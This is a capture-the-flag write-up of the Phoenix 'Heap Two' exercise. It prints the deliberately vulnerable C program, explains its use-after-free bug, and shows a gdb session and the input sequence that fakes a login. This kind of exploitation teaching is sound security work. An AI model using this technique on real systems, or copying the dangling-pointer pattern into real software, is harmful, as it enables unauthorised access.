Phoenix - Heap Two

3 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv) {
  char line[128];

  printf("%s\n", BANNER);

  while (1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if (fgets(line, sizeof(line), stdin) == NULL) break;

    if (strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(struct auth));
      memset(auth, 0, sizeof(struct auth));
      if (strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if (strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if (strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if (strncmp(line, "login", 5) == 0) {
      if (auth && auth->auth) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}

The is a classic use-after-free (UAF) exploit, if we enter “auth AAAA” the code allocates memory and stores it in auth then copies the name AAAA to auth->name, so far so good.

To login we need auth to point to a memory address and auth->auth not to be zero, we can’t overflow name since there is a length checking strlen.

The bug here is that reset frees auth allocated memory but auth still points to that memory location which could contain anything, auth here is called a dangling pointer.

The way strdup function works is it uses malloc under the hood to allocate memory for a new string, and the way malloc works (in very little details) is that it first looks if there is a previously-freed chunk of memory, and that chunk is big enough to service the request, it will use that freed chunk for the new allocation.

So if we allocated memory for auth, freed that memory then entered service the strdup function will use the previously freed memory address of auth, and now we can write anything to auth->auth (we are writing to service but auth points to that address already).

The goal here is only to change auth->auth to any thing so we will just use some junk.

user@phoenix-amd64:~$ gdb -q /opt/phoenix/i486/heap-two
Reading symbols from /opt/phoenix/i486/heap-two...(no debugging symbols found)...done.

gef➤  disassemble main
Dump of assembler code for function main:
.....
   0x080487e4 <+367>:	mov    eax,ds:0x8049adc
   0x080487e9 <+372>:	mov    eax,DWORD PTR [eax+0x20]
   0x080487ec <+375>:	test   eax,eax
.....

gef➤  b *0x080487e9
Breakpoint 1 at 0x80487e9

gef➤  r
Starting program: /opt/phoenix/i486/heap-two 

Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth AAAA
[ auth = 0x8049af0, service = 0 ]
reset 
[ auth = 0x8049af0, service = 0 ]
serviceAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[ auth = 0x8049af0, service = 0x8049af0 ]
login 

Breakpoint 1, 0x080487e9 in main ()

gef➤  x/xw $eax+0x20
0x8049b10:	0x42424242		# value of auth->auth

gef➤  c
Continuing.
you have logged in already!
[ auth = 0x8049af0, service = 0x8049af0 ]

Solution:

$ /opt/phoenix/i486/heap-two 
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth AAAA
[ auth = 0x8049af0, service = 0 ]
reset 
[ auth = 0x8049af0, service = 0 ]
serviceAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[ auth = 0x8049af0, service = 0x8049af0 ]
login 
you have logged in already!